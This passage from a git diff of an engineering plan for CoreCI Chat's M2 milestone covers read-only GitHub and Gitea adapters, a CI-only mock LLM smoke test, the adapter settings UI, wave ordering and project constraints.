- `gitea.list_repos` (inventory): `GET /api/v1/user/repos?limit=50`. Normalize to `{id, name, full_name, owner, private, description, html_url, default_branch, updated_at}`. `inputSchema: {}`.
|
||||
- `gitea.get_recent_ci_runs` (live): `GET /api/v1/repos/{owner}/{repo}/actions/runs?limit={limit}`. `inputSchema: {owner, repo, limit?: integer (default 30, max 50)}`. **Pitfall:** Gitea Actions may be disabled (`actions.ENABLED=true` in app.ini) → 404; surface as "Gitea Actions not enabled on this instance" (HTTP 502, not write rejection).
|
||||
|
||||
6. **`packages/mcp/adapters/gitea/validate.ts`** (backend-engineer + security-engineer)
|
||||
- Version-aware validation (R-005, spec §7 Q6):
|
||||
1. `GET /api/v1/version` → parse `version`, compare major.minor to `1.22` (semver-ish; compare as integers). Record version in `mcp_adapters.config`.
|
||||
2. Gitea ≥1.22: `GET /api/v1/user/repos?limit=1` → 200 = `read:repository` ok; 403 = insufficient scope → HTTP 422 "insufficient scope — `read:repository` required".
|
||||
3. Gitea <1.22: `GET /api/v1/repos/search?limit=1` → 200 = token valid (any token accepted; no read-only scope available). Broker-side write-method blocklist (POST/PUT/DELETE/PATCH) is the security backstop.
|
||||
|
||||
7. **`packages/mcp/adapters/gitea/version-check.ts`** (backend-engineer)
|
||||
- Gitea version detection + scope routing (R-005). **Verify against a running Gitea 1.22+ AND a <1.22 instance during Wave I** (R-005 action: confirm `GET /api/v1/version`, `GET /api/v1/user/repos`, `GET /api/v1/repos/{owner}/{repo}/actions/runs` against real instances; confirm `read:repository` scope behavior and `Authorization: token <token>` header).
|
||||
|
||||
8. **SecretProvider integration for Git tokens (INV-3)** (backend-engineer)
|
||||
- `SecretProvider.put(tenantId, "github:<targetId>", pat)` / `SecretProvider.put(tenantId, "gitea:<targetId>", token)`. DB stores only `secret_ref`. Tokens never logged.
|
||||
|
||||
9. **Rate limit handling for GitHub** (backend-engineer)
|
||||
- Observe `X-RateLimit-Remaining`; back off on 429 (R-004). M2 broker's own token-bucket (60/min user) is well below GitHub's 5000/hour, so the GitHub limit is unlikely to bind unless many tenants share a token (they shouldn't — per-tenant tokens).
|
||||
|
||||
10. **Inventory TTL cache (60s, LRU) for `github.list_repos` and `gitea.list_repos`** (backend-engineer)
|
||||
- Same pattern as Proxmox (Wave G). `list_*` cached 60s; live capabilities (`get_recent_ci_runs`, `get_workflow_run`) never cached. Staleness surfaced.
|
||||
|
||||
11. **Audit events for Git adapters** (backend-engineer)
|
||||
- `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected` (for Gitea POST/PUT/DELETE/PATCH blocklist violations). All via M1 `appendAudit`.
|
||||
|
||||
12. **Tests** (backend-engineer)
|
||||
- GitHub: validated via real-target smoke in CI (real GitHub PAT, Wave 0 prerequisite). Validate 3 capabilities call only REST GET endpoints. Validate classic PAT rejection (`ghp_` prefix → 422). Validate fine-grained PAT (`github_pat_`) → `GET /user` → 200 = valid. Validate rate limit handling (mock 429 + `x-ratelimit-remaining: 0`).
|
||||
- Gitea: validated via mock + verify against running instance (R-005). Validate 2 capabilities call only GET endpoints. Validate version-aware scope routing (≥1.22 `read:repository`; <1.22 any token + write blocklist). Validate `Authorization: token <token>` header. Validate Gitea Actions disabled → 404 → "not enabled".
|
||||
|
||||
### Must-haves
|
||||
- [ ] GitHub: fine-grained PAT only (classic PAT rejected by `github_pat_` prefix); `metadata:read` + `actions:read` minimum (D-006).
|
||||
- [ ] GitHub: 3 capabilities call only REST GET endpoints; rate limit handling (`X-RateLimit-Remaining`, backoff on 429); per-invocation 403 + `X-Accepted-GitHub-Permissions` handling (R-004).
|
||||
- [ ] Gitea: version-aware scope validation (≥1.22 `read:repository`; <1.22 any token with broker write-method blocklist).
|
||||
- [ ] Gitea: verify against running instance during Wave I (R-005).
|
||||
- [ ] Write-method blocklist: GitHub scopes outside read-only → 403; Gitea POST/PUT/DELETE/PATCH → 403 + `adapter.write_rejected` at broker.
|
||||
- [ ] Tokens stored via `SecretProvider.put`; DB holds only `secret_ref`.
|
||||
- [ ] Inventory cache: `list_repos` served from 60s TTL cache on repeat calls; staleness surfaced.
|
||||
- [ ] Coverage ≥ 80% on `packages/mcp/adapters/github` + `gitea`.
|
||||
- [ ] Security-engineer sign-off on scope validation.
|
||||
|
||||
---
|
||||
|
||||
## Wave J — SSE integration + LLM smoke + adapter UI (Phase 5)
|
||||
|
||||
**Goal:** SSE integration end-to-end, `packages/llm-mock` CI-only LLM smoke provider, Settings → Adapters UI + Test-Call UI. **The LLM smoke (M2 gate item 8, P0 — not deferrable) must pass before M2 ships.**
|
||||
**Depends on:** Wave F (broker) + at least Wave I (GitHub adapter for real-target smoke).
|
||||
**REQs covered:** REQ-017 integration (SSE to UI), M2 gate item 8 (LLM smoke).
|
||||
**Personas:** frontend-engineer (UI), backend-engineer (llm-mock + SSE integration).
|
||||
**Patch tag:** `v0.1.5`. **Branch:** `phase/05-sse-integration`.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **`packages/llm-mock/`** — CI-only mock LLM provider (backend-engineer) [G-019]
|
||||
- `devDependency` (not a production dependency) — R-008. Implements OpenAI-compatible `/v1/chat/completions` accepting the `tools` parameter (OpenAI tool definitions from the broker's `GET /api/mcp/tools`).
|
||||
- **[G-019] Hardened pattern matching** (regex set, not 2-word conjunction — tolerates prompt wording drift):
|
||||
- `/(list|show|get|display).*\b(repo|repositor)/i` → `tool_calls:[{id:"call_1", type:"function", function:{name:"github.list_repos", arguments:"{}"}}]`.
|
||||
- `/(recent|latest|last).*\b(run|ci|workflow)/i` → `tool_calls:[{function:{name:"github.get_recent_ci_runs", arguments:'{"owner":"...","repo":"..."}'}}]`.
|
||||
- Tests assert the pattern matches "Show me my GitHub repositories", "List my repos", "Get repositories", "What are my recent CI runs" — wording-tolerant.
|
||||
- Accepts follow-up `tool` role messages (broker's translated adapter result). On second call (with a tool message present): synthesize grounded text — parse repo names from the tool message content, return `"Your repos are: <names>"`.
|
||||
- Deterministic — no randomness; the smoke test asserts specific repo names appear (R-008).
|
||||
- Reuse BYOM request/response types from `packages/byom/src/types.ts` (D-001 contract).
|
||||
|
||||
2. **`apps/control-plane/app/(dashboard)/settings/adapters/page.tsx`** — Settings → Adapters UI (frontend-engineer) [G-014]
|
||||
- Adapter type picker (4 types), per-adapter config forms, SecretProvider-backed credential entry (redacted after submit, edit-only), role/scope validation on submit (REQ-025/026/027), "Test connection" button (REQ-016), audit event confirmation, multi-target support (target_id per row), PVEAuditor introspection gap help text (R-002), GitHub fine-grained PAT help text (D-006), Gitea version-aware help text (R-005).
|
||||
- **[G-014] Closed-tool-set gap documentation in UI help text** (sets operator expectations pre-ship so the "additions require spec amendment" gate is politically enforceable):
|
||||
- SSH: "M2 supports 6 diagnostic commands (`uptime`, `df -h`, `free -m`, `systemctl status`, `journalctl -n`, `systemctl list-units`). `ps`, `ss`, `top`, `ip` are deferred to v1.2+."
|
||||
- Proxmox: "`list_vms` requires a `node` argument. A `list_nodes` tool is deferred to v1.2+."
|
||||
- GitHub: "`list_repos` returns up to 100 repos (first page). Pagination, PR lists, and issue lists are deferred to v1.2+."
|
||||
- Gitea: "`get_workflow_run` is deferred to v1.2+."
|
||||
- Server components read via the API gateway (never bypass RLS — D-005 pattern).
|
||||
|
||||
3. **`apps/control-plane/app/(dashboard)/test-call/page.tsx`** — Test-Call UI (frontend-engineer)
|
||||
- Capability picker (closed 9-tool set from `GET /api/mcp/tools`, grouped by adapter type, per-tenant disabled tools greyed out). Argument forms (rendered from JSON Schema `inputSchema`, required fields marked, type-validated). Target picker for multi-target tenants (REQ-024). SSE stream consumer (`EventSource` on `GET /api/mcp/stream/:correlationId`, renders events as they arrive, terminal `done`/`error` close the stream). Staleness indicator for inventory calls ("cached Xs ago"). Result rendering (JSON tree, `isError` flag surfaced).
|
||||
|
||||
4. **SSE consumer in Test-Call UI** (frontend-engineer)
|
||||
- `EventSource` opens on the `streamUrl` from `POST /api/mcp/invoke`. Renders `tool_result` events incrementally; terminal `done`/`error` close the stream. <100ms chunk delivery (NFR). On client disconnect (page close), the broker detects `req.signal` abort and cancels the in-flight adapter call (Edge 8).
|
||||
|
||||
5. **LLM smoke test — TWO-TRACK (M2 gate item 8)** (backend-engineer) [G-018, G-019]
|
||||
- **[G-018] Two-track smoke** (mock-path is the P0 gate; real-path is optional/allow-failure — ensures the gate is reliable regardless of GitHub availability):
|
||||
- **Track A — Mock-path smoke (P0 gate, runs ALWAYS, no external dependency):**
|
||||
1. CI starts the control plane with `packages/llm-mock` as the BYOM endpoint + a `github-mock` adapter (deterministic canned-repo adapter, distinct from the broker stub — returns `[{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]`).
|
||||
2. Test sends `POST /v1/chat/completions` with `tools=[github.list_repos definition]` and prompt "List my GitHub repositories."
|
||||
3. llm-mock returns `tool_calls:[{function:{name:"github.list_repos", arguments:"{}"}}]`.
|
||||
4. Broker's translator converts to MCP `tools/call` → broker routes to `github-mock` adapter → canned repo data.
|
||||
5. Broker's translator converts the MCP result to an OpenAI tool message.
|
||||
6. Test sends a second `POST /v1/chat/completions` with `messages=[original prompt, assistant tool_call, tool message]`.
|
||||
7. llm-mock synthesizes a grounded response ("Your repos are: coreci-test-repo-1, coreci-test-repo-2"). Test asserts the response contains the canned repo names.
|
||||
- **This track proves the OpenAI→MCP→adapter→result→synthesis integration with zero external dependencies. It is the P0 gate.**
|
||||
- **Track B — Real-path smoke (optional, runs when `secrets.GITHUB_SMOKE_PAT` is available, `allow-failure` — does NOT block the gate):**
|
||||
1. Same flow as Track A but against the real GitHub adapter (real PAT, test-org-scoped).
|
||||
2. Test asserts the response contains real repo names from the CI test org.
|
||||
3. **[G-019] Retry policy:** on 429/5xx/timeout, retry up to 3 times with exponential backoff (1s, 2s, 4s); on final failure, skip with a warning (the mock-path smoke is the gate, not this track).
|
||||
- **This track proves real-target connectivity. It is the ideal, not the gate.**
|
||||
- **P0 — not deferrable:** Track A (mock-path) must pass reliably in CI (no GitHub dependency). Track B (real-path) is optional/allow-failure. This ensures the M2 gate is reliable regardless of GitHub availability.
|
||||
|
||||
6. **Import guard (R-008)** (backend-engineer)
|
||||
- `packages/llm-mock` is a `devDependency` of the CI test package (or `apps/control-plane` devDeps), NOT a `dependency`. `pnpm install --prod` excludes it.
|
||||
- Eslint rule `no-restricted-imports` banning `@coreci/llm-mock` in `apps/control-plane/app/**` and `packages/mcp/**` (prod code paths). Allowed only in `tests/**` and `packages/llm-mock/**`.
|
||||
- Build-time check: CI step greps the prod build output (`.next/` or `dist/`) for `llm-mock` and fails if found.
|
||||
- **Pitfall:** the mock must not be imported transitively by a prod dependency. The broker talks to it over HTTP (as a BYOM endpoint), not via import.
|
||||
|
||||
### Must-haves
|
||||
- [ ] `packages/llm-mock` is a `devDependency`; import-guarded against prod bundle (eslint + build-time grep).
|
||||
- [ ] **[G-018]** Two-track LLM smoke: Track A (mock-path, `github-mock` adapter, canned repos) passes reliably in CI — **this is the P0 gate**.
|
||||
- [ ] **[G-018]** Track B (real-path, real GitHub) runs when PAT available, `allow-failure` — does NOT block the gate.
|
||||
- [ ] **[G-019]** llm-mock pattern matching hardened (regex set, tolerates wording drift); retry policy for real-GitHub track.
|
||||
- [ ] **[G-014]** Settings → Adapters UI: closed-tool-set gap documentation in help text (SSH/Proxmox/GitHub/Gitea limitations).
|
||||
- [ ] Settings → Adapters UI: adapter type picker (4 types), config forms, validation on submit (REQ-025/026/027), "Test connection" button, multi-target support, help text for introspection gaps (R-002, D-006, R-005).
|
||||
- [ ] Test-Call UI: capability picker (9 tools), argument forms (JSON Schema validated), target picker for multi-target (REQ-024), SSE stream consumer, staleness indicator for inventory calls.
|
||||
- [ ] SSE stream renders in Test-Call UI within 100ms of events.
|
||||
- [ ] Coverage ≥ 80% on `packages/llm-mock` + UI components.
|
||||
|
||||
---
|
||||
|
||||
## Final Phase — Review + Audit + Ship (Phase 6)
|
||||
|
||||
**Goal:** Multi-persona code review + project health audit + milestone ship (`v0.1.6` release, merge to `main`).
|
||||
**REQs covered:** all M2 (sign-off).
|
||||
**Personas:** lead-developer (review + audit + ship), all personas (review).
|
||||
**Patch tag:** `v0.1.6` ← **M2 milestone release**. **Branch:** `phase/06-final-review-ship`.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **Code review** (lead-developer + all personas)
|
||||
- Review all changes in `milestone/v0.2` (or the M2 integration branch) since `main`. Auto-apply P0 fixes; flag P1+ for post-hoc. Security-engineer reviews INV-7 at broker, write-method blocklist per adapter, SSH defense-in-depth, fine-grained PAT scope validation, Gitea version-aware scope validation. go-engineer reviews Relay Agent `tool_call` additions + `CheckCommand` contract lock (Wave H only, then removed).
|
||||
|
||||
2. **Audit** (lead-developer)
|
||||
- Reconstruction test: `git log` matches `.ciagent/` files (every decision, research finding, persona assignment traceable to a commit). File/branch/commit discipline verified (all commits on `phase/NN-*` branches with `---ci---` blocks; no direct commits to `main`).
|
||||
- M2 gate items 1-15 all pass (spec §6).
|
||||
|
||||
3. **M2 acceptance gate verification** (lead-developer)
|
||||
- Spec §6 — all 13 REQs (015-027) pass with Given/When/Then coverage.
|
||||
- Mocks + real GitHub smoke + LLM smoke (P0 gate item 8) + INV-7 verified (per-adapter write-blocklist tests) + CI Postgres RLS verified (Wave 0) + M1 non-regression.
|
||||
- Coverage ≥ 80% on new M2 modules; DB coverage ≥ 80% maintained on `packages/db`.
|
||||
|
||||
4. **MCP conformance verification artifact review (R-001)** (lead-developer + security-engineer)
|
||||
- `packages/mcp/PROTOCOL.md` + 6 conformance tests in `tests/mcp-conformance/` reviewed and confirmed (gate item 15).
|
||||
|
||||
5. **Milestone ship** (lead-developer)
|
||||
- Tag `v0.1.6` (final phase patch = M2 milestone release).
|
||||
- Merge `phase/06` → `milestone/v0.1` (or `main` per branch hierarchy) → `main`.
|
||||
- Create Gitea release (`https://git.cloudinit.dev/coreci/coreci-chat`) with full M2 summary.
|
||||
|
||||
6. **Complete** (lead-developer)
|
||||
- Mark all M2 REQs (015-027) complete in `REQUIREMENTS.md`.
|
||||
- Mark M2 complete in `ROADMAP.md`.
|
||||
- Clear checkpoint.
|
||||
|
||||
---
|
||||
|
||||
## Wave ordering & parallelism
|
||||
|
||||
```
|
||||
Phase 0 (this plan) ──▶ Wave A (foundations)
|
||||
│
|
||||
├──▶ Wave B (identity/RBAC) ──▶ Wave E (dashboard) ──▶ Final
|
||||
│ ▲
|
||||
└──▶ Wave C (BYOM) ─────────────────┤
|
||||
│
|
||||
Wave D (relay agent) ─────────────┘
|
||||
Phase 0 (this plan) ──▶ Wave 0 (prerequisites) ──▶ Wave F (gateway core)
|
||||
│
|
||||
┌───────────────────────────────────┼───────────────────────┐
|
||||
│ │ │
|
||||
├──▶ Wave G (Proxmox) ├──▶ Wave H (SSH) ├──▶ Wave I (Git adapters)
|
||||
│ │ │
|
||||
└───────────────────────────────────┴───────────────────────┘
|
||||
│
|
||||
▼
|
||||
Wave J (SSE + LLM smoke + UI)
|
||||
│
|
||||
▼
|
||||
Final (review + audit + ship)
|
||||
```
|
||||
|
||||
- A must complete first (B, C, D all depend on `withTenant` + `audit` + `secrets`).
|
||||
- B and C can run in parallel after A (different territories; both depend on A only).
|
||||
- D can run in parallel after A (independent of B/C; the WS server in D needs B's auth token-issuance endpoint — coordinate the contract in the plan, then D's WS server + B's token endpoint can land in the same wave window).
|
||||
- E depends on B (dashboard shell + auth) and D (agent + WS server).
|
||||
- Final depends on all.
|
||||
- **F must complete first** (all adapters depend on the broker).
|
||||
- **G, H, I can run in parallel after F** (different adapter territories; no cross-dependencies). Wave H reactivates the go-engineer persona for Relay Agent integration only.
|
||||
- **J depends on F + at least I** (GitHub adapter for the real-target LLM smoke, gate item 8).
|
||||
- **Final depends on all.**
|
||||
|
||||
---
|
||||
|
||||
## Test strategy
|
||||
|
||||
- Unit: vitest in `packages/*` + `apps/control-plane`; Go `testing` in `apps/relay-agent`.
|
||||
- Integration: a Postgres 16 container in CI; `withTenant` + audit + RLS + secrets tests against it.
|
||||
- Pen test: `tests/pen/cross-tenant.test.ts` runs at Wave A (scaffold) and Final (full).
|
||||
- Install test: CI matrix runs `scripts/install.sh` on Ubuntu 24.04, Debian 12, Fedora (expects abort) containers.
|
||||
- Coverage gate: ≥ 80% on new modules (spec §6).
|
||||
- Lint + typecheck: `pnpm lint` + `pnpm typecheck` must be green before any wave ships.
|
||||
- **Unit:** vitest in `packages/mcp/**` + `apps/control-plane`; Go `testing` in `apps/relay-agent`.
|
||||
- **Integration:** Postgres 16 container in CI (Wave 0); RLS + `withTenant` + audit tests against real Postgres (replaces PGlite-only verification, R-009). Two CI jobs: `test-pglite` (default) + `test-postgres` (service container + `DB_MODE=pg` + role setup).
|
||||
- **Adapter validation:**
|
||||
- Proxmox: mock PVE API (no live Proxmox in CI).
|
||||
- SSH: mock + cross-layer test (R-003).
|
||||
- Gitea: mock + verify against running instance during Wave I (R-005).
|
||||
- GitHub: real-target smoke in CI (real PAT, Wave 0 prerequisite — gate item 7).
|
||||
- **LLM smoke:** `packages/llm-mock` driving the full OpenAI→MCP→adapter→result→synthesis path against real GitHub (P0 gate item 8 — not deferrable).
|
||||
- **MCP conformance:** `PROTOCOL.md` + 6 tests in `tests/mcp-conformance/` (R-001 artifact, gate item 15).
|
||||
- **Cross-layer SSH test:** broker (layer 1) + Relay Agent (layer 2) both reject non-whitelisted commands (R-003).
|
||||
- **Coverage gate:** ≥ 80% on new M2 modules (gate item 3); DB coverage ≥ 80% maintained (gate item 4).
|
||||
- **M1 non-regression:** all M1 tests still pass (gate item 1).
|
||||
|
||||
---
|
||||
|
||||
## Decisions logged (to DecisionEngine)
|
||||
|
||||
- **D-M2-P001:** Wave 0 is a hard prerequisite for Wave F — CI Postgres 16 + role setup (`coreci_app` no BYPASSRLS, `migrator` BYPASSRLS) + real GitHub PAT. RLS assertions gated on `DB_MODE=pg` replace M1's PGlite-only placeholder. Confidence 0.90.
|
||||
- **D-M2-P002:** Wave F ships the broker with stub adapters (not real adapters); real adapters land in waves G/H/I. This isolates broker verification (INV-7, rate-limit, SSE, conformance) from adapter upstream concerns. Confidence 0.85.
|
||||
- **D-M2-P003:** G/H/I parallel after F; J depends on F + at least I (GitHub for real-target LLM smoke). go-engineer active for Wave H only, removed after. Confidence 0.85.
|
||||
- **D-M2-P004:** v0.1.6 (final phase patch) IS the M2 milestone release; merge to `main` at the final phase. Tags run on v0.1.x patch line (M1's previous minor). Confidence 0.90.
|
||||
|
||||
All above the 0.6 threshold. No escalations. Pipeline proceeds to GRILL.
|
||||
|
||||
---
|
||||
|
||||
*End of M2 PLAN. M1 PLAN preserved in git history (commit prior to M2 overwrite).*
|
||||
+61
-44
@@ -10,68 +10,85 @@ The Relay Agent is a lightweight systemd service installed on customer Linux hos
|
||||
|
||||
## Milestone
|
||||
|
||||
**v0.1 — Read-Only Diagnostic MVP.** Milestone branch: `milestone/v0.1-bootstrap`. Tags run on the v0.0.x patch line (no prior minor exists); phase 0 seeds `v0.0.1`, each execution phase ships a progressive patch, and the final phase's patch (`v0.0.(N+1)`) IS the milestone release. Milestone type: **Feature** (at least one `feat:` phase).
|
||||
**v0.2 — MCP Layer & Day 1 Adapters.** Milestone branch: `milestone/v0.2-mcp-layer-day1-adapters`. Tags run on the v0.1.x patch line (M1's previous minor): phase 0 seeds `v0.1.0`, each execution phase ships a progressive patch, and the final phase's patch (`v0.1.(N+1)`) IS the milestone release. Milestone type: **Feature** (new MCP adapters are `feat:` phases).
|
||||
|
||||
## Authoritative Spec
|
||||
Predecessor: **v0.1 — Read-Only Diagnostic MVP** (COMPLETE, shipped v0.0.1..v0.0.7; all 17 M1 REQs PASS, 189 tests green, 98% DB coverage).
|
||||
|
||||
`/home/opencode/coreci-chat/.ciagent/steer-v0.1-spec.md` — CoreCI Chat v0.1 Engineering Specification v1.1 (FINAL), authored by Sarah Chen (Product Owner), locked 2026-08-24. Anchor docs: CoreCI Chat Vision v1.0, locked Phase 2 scope decisions. All 44 REQs locked; Section 7 decisions locked.
|
||||
## Authoritative Specs
|
||||
|
||||
## M1 Scope (current milestone)
|
||||
- **M1 (predecessor, shipped):** `/home/opencode/coreci-chat/.ciagent/steer-v0.1-spec.md` — CoreCI Chat v0.1 Engineering Specification v1.1 (FINAL), Sarah Chen, locked 2026-08-24.
|
||||
- **M2 (current):** `/home/opencode/coreci-chat/.ciagent/steer-m2-spec.md` — CoreCI Chat v0.1 M2 Engineering Specification v1.0 (Locked), Sarah Chen, locked 2026-08-25. All 9 open questions resolved. D-006 (GitHub scopes) and D-007 (MCP transport) recorded as deviations.
|
||||
|
||||
REQ-001 → REQ-014, REQ-038, REQ-039, REQ-040 (17 REQs total). M1 acceptance gate (spec §2.3): Platform Lead can sign up via SSO, configure a BYOM endpoint with green validation, deploy Relay Agent via install script on at least one target Linux host, register the target, and see green status in the admin dashboard. Audit logging, RLS, and secret manager are operational.
|
||||
## M2 Scope (current milestone)
|
||||
|
||||
REQ-015 → REQ-027 (13 REQs total). M2 acceptance gate (spec §6): MCP capability broker gateway with closed read-only tool registry, four Day-1 adapters (Proxmox, SSH/Linux via Relay Agent, GitHub, Gitea), SSE streaming to Test-Call UI, token-bucket rate limiting, multi-target scoping, read-only enforcement at the broker (INV-7). Real GitHub smoke + mock validation for other three adapters + LLM-driven tool-calling smoke (`packages/llm-mock`). CI Postgres 16 with RLS verification (Wave 0 prerequisite). M1 non-regression.
|
||||
|
||||
M2 customer-facing surface: Settings → Adapters configuration UI + Test-Call UI (in the existing M1 dashboard). M3 (next milestone) consumes M2's gateway to deliver the chat orchestration surface.
|
||||
|
||||
## Requirements
|
||||
|
||||
### Validated (Phase 0 init)
|
||||
- ✓ Initialize a git repository at `~/coreci-chat` with branch hierarchy `main → milestone/v0.1-bootstrap → phase/00-pre-execution`
|
||||
- ✓ Write `.ciagent/config.json` with autonomy `full`, release target Gitea `coreci/coreci-chat`, secrets hygiene
|
||||
- ✓ Persist `GITEA_TOKEN` to `.ciagent/.env.secrets` (mode 0600); `.env*` in `.gitignore`
|
||||
### Validated (Phase 0 init — M2)
|
||||
- ✓ M1 milestone complete (checkpoint cleared; v0.0.1..v0.0.7 shipped)
|
||||
- ✓ Branch hierarchy created: `main → milestone/v0.2-mcp-layer-day1-adapters → phase/00-pre-execution`
|
||||
- ✓ M2 spec saved and locked at `.ciagent/steer-m2-spec.md` (v1.0, all 9 open questions resolved)
|
||||
- ✓ GITEA_TOKEN available in `.ciagent/.env.secrets` for release shipping
|
||||
|
||||
### Active (Phase 0 — this run)
|
||||
- [ ] SPECIFY: parse spec, rewrite PROJECT.md / REQUIREMENTS.md / ARCHITECTURE.md with real content
|
||||
- [ ] CLARIFY: resolve 5 architectural decisions (approved by PO during kickoff)
|
||||
- [ ] RESEARCH: produce research artifacts + PERSONAS.md under `.ciagent/`
|
||||
- [ ] PLAN: vertical-slice wave plans referencing REQ IDs, MVP/UX sections
|
||||
- [ ] GRILL: adversarial plan review, binding verdicts
|
||||
- [ ] SPECIFY: apply spec delta to PROJECT.md / REQUIREMENTS.md / ARCHITECTURE.md, establish milestone v0.2
|
||||
- [ ] CLARIFY: carry D-001..D-005 from M1; add D-006 (GitHub scopes) + D-007 (MCP transport)
|
||||
- [ ] RESEARCH: MCP `2025-06-18` conformance verification, Proxmox API + PVEAuditor, SSH adapter patterns, GitHub/Gitea APIs, SSE, token-bucket, `packages/llm-mock`
|
||||
- [ ] PLAN: vertical-slice waves F/G/H/I/J + final, REQ traceability, wave ordering + parallelism
|
||||
- [ ] GRILL: adversarial review — closed tool set completeness, defense-in-depth, INV-7 at broker, MCP conformance evidence
|
||||
- [ ] MVP/UX: 3 mandatory sections (User-Facing Surface = Settings→Adapters + Test-Call; Happy Path = J1+J2; UX Acceptance Criteria)
|
||||
|
||||
### Out of Scope (v0.1 — do not build)
|
||||
See `.ciagent/REQUIREMENTS.md` § Out of Scope and spec §2.2. Highlights: write actions, hosted LLM inference, Kubernetes/ArgoCD/Helm, Slack/Teams/CLI/mobile, approval-gated remediation, RAG, SOC 2 Type 1 final cert, custom RBAC roles, BYOK, multi-region, Windows. Anything not in the spec is a spec-time scope question — never silently added.
|
||||
### Out of Scope (M2 — do not build)
|
||||
See `.ciagent/steer-m2-spec.md` §2.2 and M1 spec §2.2. Highlights: LLM chat UI/orchestration (M3), Trigger.dev task execution (M3), write actions (v1.1), hosted LLM inference (never), Kubernetes/ArgoCD/Helm (not planned), Slack/Teams/CLI/mobile (v1.1+), approval-gated remediation (v1.1), RAG (v1.1), SOC 2 final cert (post-MVP), custom RBAC roles (v1.2+), BYOK (v1.2+), multi-region (MVP single-region), Windows (not planned v1.x), fine-tuning (not planned). M2-specific exclusions: 5+ adapters (only 4), MCP result persistence tables, cross-tenant adapter sharing, custom tool endpoints.
|
||||
|
||||
## Constraints
|
||||
|
||||
- **Branch discipline:** all writes on `phase/NN-*` branches, never `main`. `---ci---` blocks in every commit.
|
||||
- **Read-only by default:** 100% of write-action requests rejected at MCP gateway (HTTP 403) and at Relay Agent (SSH whitelist). No state mutation is possible in v0.1.
|
||||
- **Read-only by default (INV-7):** the MCP broker is the load-bearing safety boundary. 100% of write-action requests rejected at the broker (HTTP 403) before adapter invocation. For SSH, defense-in-depth: broker validates `command` against whitelist subset (layer 1) AND Relay Agent `CheckCommand` validates at execution (layer 2).
|
||||
- **Closed tool registry (REQ-015):** 9-tool starter set locked across 4 adapters. Per-tenant policy may disable tools but never add new ones. Additions require spec amendment (v1.2+).
|
||||
- **MCP conformance:** broker implements MCP spec version `2025-06-18`. Conformance verification artifact required at M2 gate.
|
||||
- **BYOM mandatory:** 100% of LLM inference outbound to the customer-configured endpoint; zero inference from CoreCI Chat infra.
|
||||
- **Multi-tenancy isolation:** Postgres RLS on all tenant-scoped tables; cross-tenant queries return empty. Quarterly pen test, zero leakage.
|
||||
- **Audit immutability:** write-once store, 100% capture, zero deletes; write failure halts the operation (no silent drops).
|
||||
- **Secret handling:** every credential via the centralized secret manager from the first secret. No env vars, no config files, no DB columns. Never logged in plaintext.
|
||||
- **RBAC enforcement:** at the API gateway from the first endpoint. No "auth later" stubs.
|
||||
- **SSH whitelist:** fixed whitelist shipped with the Relay Agent in M1; M2 plugs the SSH adapter into the existing enforcement hook. Customer extension deferred to v1.1 (signed config).
|
||||
- **Supported targets:** Ubuntu 24.04 LTS, Debian 12+ (install script aborts cleanly on unsupported OS with actionable error). Proxmox VE 7.x and 8.x.
|
||||
- **Relay Agent distribution:** install script (`curl|bash`) primary, apt package fallback. systemd service, outbound-only WebSocket, per-target registration.
|
||||
- **Async durable execution:** Trigger.dev.
|
||||
- **Identity:** WorkOS (SSO/SAML + SCIM).
|
||||
- **GRC:** Vanta (instrumentation in M3, not M1).
|
||||
- **Single region:** us-east-1 MVP. TLS 1.2+ in transit, AES-256 at rest.
|
||||
- **Performance NFRs:** <3s p95 time-to-first-token; <5 min p95 diagnostic completion (≤10 tool calls); ≥5 concurrent workflows per tenant; ≤20 tool calls per workflow; 60 req/min per user, 300 req/min per tenant (token bucket).
|
||||
- **Multi-tenancy isolation (INV-2):** every MCP capability invocation runs under `withTenant` + RLS. Adapters are per-tenant; cross-tenant adapter sharing prohibited.
|
||||
- **Audit immutability (INV-4):** every MCP capability invocation, adapter config change, write rejection, and test connection appends to M1's `audit_log`. New event types: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected`.
|
||||
- **Secret handling (INV-3):** all adapter credentials via `SecretProvider`. No env vars, config files, or DB columns for tenant secrets. Credentials never logged; secret identifiers hashed in audit events.
|
||||
- **RBAC enforcement (INV-1):** at the API gateway from the first endpoint. Auth → tenant resolve → RBAC → audit ordering preserved.
|
||||
- **Rate limiting (REQ-019):** token-bucket per user (60 req/min) and per tenant (300 req/min). In-memory, process-local in M2. Capacity = rate; refill 1/sec (user) / 5/sec (tenant).
|
||||
- **SSE streaming (REQ-017):** per-call streams, ULID correlation IDs. Client disconnect cancels in-flight adapter call; no audit event for client-side cancellation.
|
||||
- **RLS verification:** all M2 schema additions verified against real Postgres 16 in CI (not PGlite). PGlite only for unit tests with documented RLS gap.
|
||||
- **M1 non-regression:** all M1 REQs (001-014, 038-040) remain passing. No breaking changes to M1 systems except additive (new tables, new audit event types).
|
||||
- **Performance NFRs:** MCP capability invocation P95 < 2s (live); SSE chunk delivery < 100ms; rate limiter check < 5ms; adapter upstream timeout 10s (504); SecretProvider.get timeout 5s (503).
|
||||
- **Autonomy:** `full` — no HITL after clarify. Decision threshold 0.6. Escalation hooks: `[deploy, delete_data, merge_to_main]`.
|
||||
|
||||
## Key Decisions
|
||||
|
||||
| Decision | Rationale | Source |
|
||||
|----------|-----------|--------|
|
||||
| Spec v1.1 locked, 44 REQs | Sarah Chen (PO) locked 2026-08-24 | spec §8 |
|
||||
| M1 = REQ-001..014 + 038/039/040 | spec §2.3 | spec §2.3 |
|
||||
| Trigger.dev durable runtime | Best TS DX, long-running workflows, MVP cost | spec §7 Q1 |
|
||||
| WorkOS IdP | Enterprise SAML/SSO/SCIM at mid-market price | spec §7 Q2 |
|
||||
| Vanta GRC | AWS-native ecosystem, M3 instrumentation | spec §7 Q3 |
|
||||
| Install script primary, apt fallback | Fastest to ship, flexible | spec §7 Q4 |
|
||||
| Fixed SSH whitelist, no customer extension in v0.1 | Security; signed-config extension in v1.1 | spec §7 Q5 |
|
||||
| PVEAuditor built-in role for Proxmox | Simpler setup, well-understood | spec §7 Q6 |
|
||||
| Gitea via SaaS-to-API exposure | Customer opens firewall; Relay-Agent variant deferred | spec §7 Q7 |
|
||||
